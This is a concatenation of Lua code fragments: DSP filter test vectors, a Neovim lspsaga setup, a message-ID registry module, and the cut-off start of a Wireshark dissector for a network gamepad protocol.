0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({-0.00009696, -0.00016344, -0.00020483, 0.00005349, 0.00014057, 0.00011087, 0.00012652, -0.00013158, 0.00041197, -0.00020081, 0.00005526, 0.00020676, -0.00014696, 0.00041928, -0.00028931, -0.00044801, 0.00081903, -0.00042588, -0.00050336, 0.00067436, -0.00057070, -0.00020450, 0.00086779, -0.00064629, 0.00000407, 0.00105243, -0.00099290, 0.00041286, 0.00080127, -0.00137524, 0.00104460, 0.00050155, -0.00173923, 0.00163164, 0.00002722, -0.00179737, 0.00267261, -0.00089809, -0.00153679, 0.00332146, -0.00204970, -0.00099312, 0.00349890, -0.00349593, 0.00046449, 0.00374859, -0.00498934, 0.00172540, 0.00359954, -0.00631636, 0.00378004, 0.00207475, -0.00707095, 0.00663325, -0.00011185, -0.00765370, 0.00977271, -0.00365518, -0.00711843, 0.01387206, -0.00919249, -0.00502459, 0.02353115, -0.09605069, -0.41686311, -0.81612486, -0.84063596, -0.13508110, 0.62535655, 0.66551453, 0.40223840, 0.40267181, 0.50157869, 0.37933117, 0.07083285, 0.20729868, 0.78121400, 0.41245040, -0.65742487, -0.39906466, 0.44954124, -0.11434083, -0.84925783, -0.48452285, -0.24306679, -0.19647264, 0.32799944, 0.45728120, 0.27064970, 0.65231782, 0.73252136, 0.18949835, 0.17125787, 0.44719040, 0.31945801, 0.21321714, 0.11417282, -0.06297521, 0.23419994, 0.66921556, 0.68553102, 0.64052111, 0.63010055, 0.55957174, 0.48786625, -0.01185617, -0.56890947, -0.05790268, 0.77186418, 0.41794145, -0.36803240, -0.13863452, 0.47718471, 0.07242622, -0.75524324, -0.42487797, 0.38338426, 0.14100777, -0.24207908, 0.02943102, -0.28875378, -0.63465232, 0.43209252, 0.95974499, -0.09274827, -0.08195560, 0.65288675, -0.31514719, -0.85498363, 0.36858311, 0.21522775, -0.88056606, -0.10122945, 0.58251858, -0.24041165, -0.19928050, 0.40158167, -0.11627583, -0.33814237, 0.44640666, 0.64938903, 0.05111097, -0.22818190, -0.07292050, -0.18070365, -0.43389893, 0.02989202, 0.72754234, 0.27866071, -0.57278538, -0.03040850, 1.01803792, 0.57538718, -0.37999296, 0.01928533, 0.59498560, -0.03706608, -0.42909083, 0.26301199, 0.61605948, 0.06591974, -0.39228907, -0.17403515, 0.22254069, 0.30108958, 0.44522959, 0.67393500, 0.33396453, -0.15086913, -0.19504097, -0.38875046, -0.67404217, -0.31999269, 0.23871008, 0.18611699, -0.19018376, 0.01250213, 0.51725340, 0.08375326, -0.72735327, -0.51350176, -0.05516535, -0.32914725, -0.77135080, -0.89974463, -0.31316921, 0.59840381, 0.21235731, -0.88464922, -0.48834386, 0.73580080, 0.91607738, 0.38925713, 0.10942054, 0.04821213, -0.00769940, -0.10552477, -0.33454040, -0.46620205, -0.15189566, 0.00799449, -0.52519363, -0.69778365, 0.04923989, 0.45989132, -0.00849705, -0.31482166, 0.01017746, 0.05852542, -0.20419343, 0.51639062, 1.13931596, -0.03146850, -0.43182302, 0.87660635, 0.40897459, -0.78169721, 0.16664045, 0.64635122, 0.03281389, 0.54250759, 0.56214291, -0.14493814, 0.17428836, -0.11554001, -0.87699044, -0.27133039, -0.08660817, -0.67338288, -0.52969247, -0.40713453, 0.19150887, 1.08781731, -0.10603908, -1.19309962, -0.00068192, 0.11935421, -0.91988826, -0.59052253, -0.61431938, -1.18480158, -0.27666882, 0.54159397, 0.32726064, 0.56846476, 0.63003963, -0.06097186, -0.07601144, 0.67433357, 0.79048604, -0.19080795, -0.87694401, -0.01030212, 0.72771728, -0.05662754, -0.31995606})}
},
{
desc = "128 taps, 0.2 cutoff, 3.0 nyquist, bartlett window, 256 Float32 input, 256 Float32 output",
args = {128, 0.2, 3.0, "bartlett"},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({0.00000000, -0.00001034, -0.00003798, -0.00007998, -0.00007850, 0.00001365, 0.00021719, 0.00049854, 0.00079426, 0.00112034, 0.00137677, 0.00156758, 0.00161078, 0.00151817, 0.00128324, 0.00081428, 0.00011653, -0.00072888, -0.00169627, -0.00275058, -0.00385144, -0.00486429, -0.00569965, -0.00627732, -0.00648334, -0.00630680, -0.00570536, -0.00466555, -0.00323484, -0.00148639, 0.00054327, 0.00275412, 0.00504457, 0.00729791, 0.00937369, 0.01118073, 0.01260109, 0.01354948, 0.01389598, 0.01355391, 0.01244355, 0.01052807, 0.00777820, 0.00420852, -0.00009755, -0.00496691, -0.01024127, -0.01578928, -0.02144616, -0.02691633, -0.03202244, -0.03654394, -0.04030401, -0.04304424, -0.04457890, -0.04482292, -0.04369713, -0.04113453, -0.03721591, -0.03194068, -0.02538709, -0.01776682, -0.00932356, -0.00026604, 0.00940064, 0.02001268, 0.03210132, 0.04521735, 0.05758339, 0.06751476, 0.07436504, 0.07883707, 0.08061846, 0.08002594, 0.07772987, 0.07419862, 0.07018264, 0.06494418, 0.06006946, 0.05792661, 0.05839732, 0.06109438, 0.06700712, 0.07751475, 0.09268854, 0.11146039, 0.13344534, 0.15725504, 0.18205738, 0.20751125, 0.23229380, 0.25564831, 0.27795544, 0.29856527, 0.31652659, 0.33153716, 0.34318170, 0.35158738, 0.35636041, 0.35680795, 0.35207149, 0.34192476, 0.32667175, 0.30670765, 0.28251478, 0.25499502, 0.22579215, 0.19636627, 0.16653153, 0.13558631, 0.10460868, 0.07578204, 0.04903907, 0.02402789, 0.00198273, -0.01587672, -0.02958709, -0.04073740, -0.04919357, -0.05425337, -0.05673062, -0.05617316, -0.05262949, -0.04852222, -0.04464543, -0.04021613, -0.03553432, -0.03121748, -0.02640211, -0.02039291, -0.01492974, -0.01024140, -0.00445292, 0.00115238, 0.00569630, 0.01021484, 0.01497431, 0.01926438, 0.02405113, 0.02962451, 0.03497762, 0.04000439, 0.04571695, 0.05266407, 0.06098717, 0.07082048, 0.08212061, 0.09416509, 0.10522271, 0.11605610, 0.12770851, 0.13858724, 0.14724517, 0.15360576, 0.15895787, 0.16294181, 0.16400029, 0.16320500, 0.16086379, 0.15582852, 0.14717807, 0.13626310, 0.12344803, 0.10895776, 0.09230337, 0.07303710, 0.05167337, 0.02795225, 0.00307869, -0.02140076, -0.04488208, -0.06678265, -0.08580470, -0.10284300, -0.11831508, -0.13216233, -0.14393540, -0.15351741, -0.16194533, -0.16828746, -0.17118810, -0.17097518, -0.16875714, -0.16419072, -0.15691355, -0.14725353, -0.13646939, -0.12680309, -0.11777679, -0.10776038, -0.09790218, -0.09012181, -0.08507003, -0.08211687, -0.07951294, -0.07746007, -0.07511380, -0.07157420, -0.06638117, -0.05855662, -0.04863741, -0.03644133, -0.02124265, -0.00278022, 0.01723142, 0.03789446, 0.05919109, 0.08108681, 0.10265741, 0.12286832, 0.14129753, 0.15598437, 0.16540517, 0.17082149, 0.17226809, 0.16782224, 0.15835743, 0.14496328, 0.12715778, 0.10401037, 0.07641228, 0.04500601, 0.00972343, -0.02685296, -0.06407563, -0.10073507, -0.13422783, -0.16512986, -0.19242091, -0.21478033, -0.23189028, -0.24359879, -0.25126699, -0.25582463, -0.25552645, -0.24870247, -0.23740663, -0.22200163, -0.20183870, -0.17778939, -0.15027185, -0.11991207, -0.08879031, -0.05945793, -0.03282163, -0.00964365, 0.00971663, 0.02592756, 0.03893676, 0.04758717, 0.05216855, 0.05483475, 0.05727282, 0.05843010, 0.05772089, 0.05702943})}
},
{
desc = "128 taps, 0.5 cutoff, 3.0 nyquist, bartlett window, 256 Float32 input, 256 Float32 output",
args = {128, 0.5, 3.0, "bartlett"},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({0.00000000, -0.00001936, -0.00007561, -0.00016416, -0.00016894, 0.00002647, 0.00045184, 0.00095622, 0.00125100, 0.00119308, 0.00057250, -0.00049482, -0.00182235, -0.00294360, -0.00337335, -0.00292895, -0.00157809, 0.00054898, 0.00295986, 0.00495394, 0.00580267, 0.00514218, 0.00295040, -0.00036486, -0.00393926, -0.00685602, -0.00820991, -0.00742424, -0.00451443, -0.00011218, 0.00476086, 0.00878851, 0.01076147, 0.00990268, 0.00610277, 0.00014129, -0.00654041, -0.01209049, -0.01484900, -0.01371866, -0.00858393, -0.00041071, 0.00882793, 0.01661166, 0.02054572, 0.01909194, 0.01194010, 0.00020519, -0.01356755, -0.02564034, -0.03226119, -0.03044892, -0.01904678, 0.00083184, 0.02539217, 0.04844988, 0.06259287, 0.06073862, 0.03764490, -0.00811961, -0.07328410, -0.14979272, -0.22544792, -0.28549847, -0.31463659, -0.29974523, -0.23330292, -0.11838760, 0.03033218, 0.19167052, 0.34339708, 0.46649146, 0.54198211, 0.55803829, 0.51144242, 0.40711382, 0.25876462, 0.08314878, -0.09288161, -0.24018125, -0.34004143, -0.38134566, -0.35823160, -0.27316692, -0.14078897, 0.01535293, 0.17137945, 0.30308521, 0.39394695, 0.43770447, 0.43505356, 0.39663875, 0.34142438, 0.28748879, 0.24964938, 0.23876370, 0.25798702, 0.30413198, 0.36617300, 0.42836905, 0.47443366, 0.49276707, 0.47877058, 0.43405938, 0.36579406, 0.28530851, 0.20612891, 0.13870427, 0.08507572, 0.04171206, 0.00680896, -0.01979206, -0.04389219, -0.06994807, -0.09526391, -0.11407242, -0.12208263, -0.11870509, -0.09998279, -0.06301404, -0.01252723, 0.04597269, 0.10272305, 0.14102757, 0.15073095, 0.13056797, 0.08225815, 0.01252890, -0.06338003, -0.12878682, -0.17440891, -0.19096604, -0.16982612, -0.11752838, -0.04618251, 0.03295352, 0.10485852, 0.15378454, 0.17276332, 0.15961742, 0.11582957, 0.05171515, -0.01487430, -0.06649232, -0.08971499, -0.07710879, -0.02909363, 0.04474254, 0.12685506, 0.20399505, 0.26463205, 0.29400885, 0.28453144, 0.24015607, 0.17538325, 0.10497954, 0.04183535, 0.00325681, -0.00118364, 0.02667511, 0.07788192, 0.14311273, 0.20704988, 0.25347677, 0.26765129, 0.24169649, 0.17840822, 0.08684267, -0.01437717, -0.10371958, -0.16465585, -0.18725939, -0.16901387, -0.12219559, -0.06445018, -0.01513829, 0.00887321, -0.00447468, -0.06154489, -0.15368266, -0.26249975, -0.36858889, -0.45304742, -0.49576229, -0.48302737, -0.41195560, -0.29201552, -0.14353631, 0.01478024, 0.16497488, 0.28285095, 0.34714261, 0.34788519, 0.28793627, 0.18177566, 0.04552999, -0.09853205, -0.22823378, -0.32567129, -0.37745798, -0.38142431, -0.34064621, -0.26286086, -0.16132988, -0.05591206, 0.03733337, 0.10916785, 0.15607543, 0.17821781, 0.18077515, 0.17385356, 0.16477925, 0.16082025, 0.17301384, 0.20344815, 0.24269503, 0.28345373, 0.31556037, 0.32432237, 0.29671171, 0.23025852, 0.12962590, 0.00500934, -0.12152439, -0.23137827, -0.30723846, -0.33513117, -0.31867945, -0.26698199, -0.19579338, -0.12720501, -0.08278306, -0.08168251, -0.13125198, -0.21975954, -0.32530004, -0.42921427, -0.50689232, -0.53462952, -0.50101918, -0.40465879, -0.25625348, -0.07950938, 0.09613004, 0.24614201, 0.35161719, 0.40292102, 0.40206987, 0.35675508, 0.27697948, 0.17880028, 0.08194554, 0.00101543, -0.06217623, -0.10970619, -0.14046590})}
},
{
desc = "128 taps, 0.7 cutoff, 3.0 nyquist, bartlett window, 256 Float32 input, 256 Float32 output",
args = {128, 0.7, 3.0, "bartlett"},
inputs = {radio.types.Float32.vector_from_array({-0.24488358, -0.59217191, -0.99224871, -0.44475749, 0.19632840, 0.76332581, 0.65884250, 0.02192042, 0.97403622, -0.07683806, 0.66918695, -0.18206932, 0.48926124, 0.97518337, -0.38932681, -0.65937436, 0.24006742, 0.06191236, -0.28115594, -0.99296153, -0.22167473, -0.14826106, -0.18949586, 0.72249067, 0.16885605, 0.46766159, 0.79581833, 0.49754697, -0.01459590, 0.49153668, 0.28071079, 0.29749086, 0.25935072, -0.18600205, 0.25852406, 0.26746503, 0.87423593, 0.56494737, 0.69253606, 0.53499961, 0.63065171, 0.21092477, -0.30109984, -0.47083348, 0.41604009, 0.74788415, 0.08849352, -0.69586009, 0.66595060, -0.03091384, -0.06579474, -0.90922385, 0.02056185, 0.48949531, -0.15480438, -0.28964537, 0.31368709, -0.96051723, 0.01432719, 0.89225417, 0.38089520, -0.19615254, 0.37781647, 0.20998783, -0.58222121, -0.58458334, 0.77205056, -0.46186161, -0.85023046, 0.66135520, 0.04639554, -0.26358366, 0.02303784, 0.47345135, -0.66289276, 0.30613399, 0.42687401, 0.63000691, -0.46047872, 0.21933267, -0.53577226, 0.12208935, -0.65527403, 0.57953525, 0.73343575, -0.34071288, -0.55536288, 0.92757678, 0.41338065, 0.68758518, -0.93893105, 0.79878664, 0.24490412, -0.36694169, -0.13646875, 0.52318597, 0.57082391, -0.62019825, 0.25177300, -0.66874093, 0.94609958, -0.11284689, 0.82629001, 0.45649573, 0.21251979, -0.47603193, 0.05318464, -0.72276050, -0.72380400, 0.43149957, -0.27782047, 0.50275260, -0.51901281, 0.43631628, 0.43695384, -0.38900825, -0.78722912, -0.20598429, -0.01527700, -0.80005163, -0.62647748, -0.88931382, 0.19502714, 0.77775222, -0.56688440, -0.93057311, 0.40784720, 0.62982112, 0.92824322, 0.22635791, -0.31511366, 0.67573726, -0.76386577, 0.38527387, -0.80953830, -0.20058849, -0.00995424, -0.24421147, -0.66280484, -0.53656536, 0.64029998, -0.07484839, 0.15986548, -0.57618594, 0.42987013, -0.33976549, 0.18723717, 0.81897414, 0.98878682, -0.90756410, 0.59488541, 0.71517563, -0.36085111, -0.23370475, 0.16050752, 0.83768046, -0.20014282, 0.76006031, 0.51712108, -0.69545382, 0.82735986, -0.96963781, -0.70964354, 0.32962242, -0.88576066, -0.24102025, -0.74004227, -0.07422146, 0.67996067, 0.81216872, -0.92906070, -0.87829649, 0.68124807, -0.91437042, -0.45281947, -0.76512659, -0.81792456, -0.94475424, 0.27502602, 0.48922855, 0.37354276, 0.69124550, 0.32603237, -0.22059613, 0.26212606, 0.93918961, 0.28320667, -0.51381654, -0.87963182, 0.87033200, 0.18099099, -0.30077052, 0.21070550, 0.12051519, 0.04434354, -0.87839073, -0.29354489, -0.17469995, -0.60126334, 0.76021045, -0.15176044, 0.32477134, 0.42709291, 0.48656613, 0.44223061, 0.50441700, -0.49683860, 0.95280737, -0.69798046, 0.83729482, 0.70913750, 0.70432854, -0.89437741, -0.81756383, 0.62611163, -0.06166634, -0.25949362, 0.96937495, -0.91976410, 0.06293010, -0.11330045, -0.74359375, -0.20962349, 0.41529480, 0.76463121, -0.95076066, 0.04901912, -0.81924683, 0.60078692, -0.82842946, -0.93161339, -0.23152760, 0.46521235, -0.37358665, -0.73999017, 0.58914447, 0.61383879, 0.71171957, -0.39251104, -0.15033928, -0.50922000, 0.11435498, -0.33978567, -0.32267332, 0.56724286, 0.91259229, 0.16828065, -0.79062414, 0.30514985, -0.10277656, 0.97606111, 0.43876299, 0.66957223, 0.40257251, 0.07123801, 0.79363680})},
outputs = {radio.types.Float32.vector_from_array({0.00000000, -0.00001924, -0.00008262, -0.00018735, -0.00020465, 0.00002761, 0.00052509, 0.00100820, 0.00099957, 0.00031046, -0.00091748, -0.00203212, -0.00232081, -0.00132195, 0.00077238, 0.00288438, 0.00367678, 0.00246714, -0.00036996, -0.00348394, -0.00519462, -0.00425127, -0.00070414, 0.00387414, 0.00712040, 0.00694965, 0.00287495, -0.00344286, -0.00885880, -0.01028757, -0.00631865, 0.00167509, 0.00989389, 0.01385333, 0.01073221, 0.00126455, -0.01020893, -0.01759842, -0.01628427, -0.00581993, 0.00924646, 0.02122818, 0.02305397, 0.01224329, -0.00703356, -0.02521121, -0.03191744, -0.02169454, 0.00228927, 0.02891174, 0.04372742, 0.03636312, 0.00681509, -0.03251727, -0.06131945, -0.06093546, -0.02466572, 0.03609565, 0.09328376, 0.11234671, 0.06705654, -0.04708070, -0.20660870, -0.36468926, -0.46516392, -0.46252021, -0.34037796, -0.12292929, 0.13206919, 0.35787189, 0.50504464, 0.55784392, 0.52633154, 0.44289503, 0.34512958, 0.25814721, 0.18764970, 0.11677749, 0.03158719, -0.07238224, -0.19426309, -0.31544894, -0.39855328, -0.40403694, -0.31289795, -0.13531108, 0.09591992, 0.32773641, 0.50793886, 0.60075831, 0.59113336, 0.49406222, 0.35057187, 0.20825812, 0.10953805, 0.08372507, 0.13742024, 0.25602099, 0.40466923, 0.53899372, 0.61922842, 0.62369215, 0.55443180, 0.43264234, 0.29138103, 0.16563500, 0.08292558, 0.05249446, 0.05994336, 0.07837834, 0.08736598, 0.07767944, 0.04084659, -0.02185065, -0.09421278, -0.15542361, -0.19068076, -0.19563900, -0.16493323, -0.09782565, -0.00751903, 0.09000610, 0.17299084, 0.21310617, 0.19895682, 0.13963716, 0.05154558, -0.04440469, -0.12262493, -0.16645850, -0.17930178, -0.16691212, -0.13058059, -0.08305129, -0.03277439, 0.02264808, 0.08098224, 0.13212825, 0.16739751, 0.17436372, 0.14059101, 0.06943269, -0.01636013, -0.08751109, -0.11849826, -0.09614579, -0.02515902, 0.07149747, 0.16067697, 0.22415885, 0.25703457, 0.25653470, 0.23111050, 0.19786477, 0.17309187, 0.15551127, 0.13075386, 0.09466549, 0.04861410, 0.00157344, -0.02579273, -0.00420867, 0.07714581, 0.20194566, 0.32604852, 0.39533406, 0.36995164, 0.23793055, 0.03142605, -0.18546946, -0.34380943, -0.39286664, -0.31832668, -0.15761788, 0.02409645, 0.15768160, 0.19490765, 0.12240505, -0.03916974, -0.23494692, -0.40360683, -0.50677383, -0.53562874, -0.49949417, -0.42032319, -0.32154271, -0.21933439, -0.11965408, -0.01041829, 0.11909775, 0.25187704, 0.35237685, 0.38590595, 0.33403927, 0.20468630, 0.02296648, -0.16518700, -0.31226569, -0.38634813, -0.37866443, -0.31212384, -0.22194919, -0.14090964, -0.08954728, -0.07374226, -0.07506314, -0.06099150, -0.00555180, 0.09360282, 0.21486448, 0.32270449, 0.37600434, 0.35336211, 0.27213573, 0.16848069, 0.08091260, 0.05175301, 0.09938125, 0.20349735, 0.31489760, 0.38117522, 0.36011109, 0.23409714, 0.02911884, -0.20831347, -0.41691622, -0.53772038, -0.54819137, -0.45148554, -0.27893019, -0.08524885, 0.06945059, 0.13188592, 0.07738721, -0.07652658, -0.28607333, -0.50596511, -0.67978394, -0.75473189, -0.70417178, -0.52831113, -0.25862846, 0.04417676, 0.30950120, 0.48293787, 0.53562033, 0.47287929, 0.33368769, 0.17085725, 0.03270079, -0.04305670, -0.04007902, 0.02451461, 0.09932066, 0.13085416, 0.09296423})}
},
}, {epsilon = 1.0e-06})
|
local saga = require 'lspsaga'
saga.init_lsp_saga()
|
local id_2_name_tbl = {}
local name_2_id_tbl = {}
local M = {}
function M.init()
M.register_mod("msg_define.protocol")
M.register_mod("msg_define.pdk")
M.register_mod("msg_define.nn")
M.register_mod("msg_define.dgnn")
M.register_mod("msg_define.nxphz")
M.register_mod("msg_define.csmj")
end
function M.register_mod(mod)
local m = require(mod)
m.register(M.register)
end
function M.register(id, name)
id_2_name_tbl[id] = name
name_2_id_tbl[name] = id
end
function M.name_2_id(name)
return name_2_id_tbl[name]
end
function M.id_2_name(id)
return id_2_name_tbl[id]
end
M.init()
return M
|
-- network gamepads protocol
print("Hello World")
-- do not modify this table
local debug_level = {
DISABLED = 0,
LEVEL_1 = 1,
LEVEL_2 = 2
}
-- set debug level
local DEBUG = debug_level.LEVEL_1
local default_settings = {
debug_level = DEBUG,
enabled = true,
port = 9292,
max_msg_len = 128,
}
local dprint = function() end
local dprint2 = function() end
local function resetDebugLevel()
if default_settings.debug_level > debug_level.DISABLED then
dprint = function(...)
info(table.concat({"Lua: ", ...}, " "))
end
if default_settings.debug_level > debug_level.LEVEL_1 then
dprint2 = dprint
end
else
dprint = function() end
dprint2 = dprint
end
end
resetDebugLevel()
-- declare
local ngamepads_proto = Proto("ngamepads", "Network Gamepads Protocol")
local function makeValString(enumTable)
local t = {}
for name, num in pairs(enumTable) do
t[num] = name
end
return t
end
local msgtype = {
HELLO = 0x01,
PASSWORD = 0x02,
ABSINFO = 0x03,
DEVICE = 0x04,
SETUP_END = 0x05,
REQUEST_EVENT = 0x06,
DATA = 0x10,
SUCCESS = 0xF0,
VERSION_MISMATCH = 0xF1,
INVALID_PASSWORD = 0xF2,
INVALID_CLIENT_SLOT = 0xF3,
INVALID = 0xF4,
PASSWORD_REQUIRED = 0xF5,
SETUP_REQUIRED = 0xF6,
CLIENT_SLOT_IN_USE = 0xF7,
CLIENT_SLOTS_EXHAUSTED = 0xF8,
QUIT = 0xF9,
DEVICE_NOT_ALLOWED = 0xFA
}
local axismap = {
ABS_X = 0x00,
ABS_Y = 0x01,
ABS_Z = 0x02,
ABS_RX = 0x03,
ABS_RY = 0x04,
ABS_RZ = 0x05,
ABS_THROTTLE = 0x06,
ABS_RUDDER = 0x07,
ABS_WHEEL = 0x08,
ABS_GAS = 0x09,
ABS_BRAKE = 0x0a,
ABS_HAT0X = 0x10,
ABS_HAT0Y = 0x11,
ABS_HAT1X = 0x12,
ABS_HAT1Y = 0x13,
ABS_HAT2X = 0x14,
ABS_HAT2Y = 0x15,
ABS_HAT3X = 0x16,
ABS_HAT3Y = 0x17,
ABS_PRESSURE = 0x18,
ABS_DISTANCE = 0x19,
ABS_TILT_X = 0x1a,
ABS_TILT_Y = 0x1b,
}
local msgtype_valstr = makeValString(msgtype)
local axis_valstr = makeValString(axismap)
local hdr_fields = {
version = ProtoField.uint8("ng.version", "Version", base.DEC),
msg_type = ProtoField.uint8("ng.msg_type", "Message Type", base.HEX, msgtype_valstr),
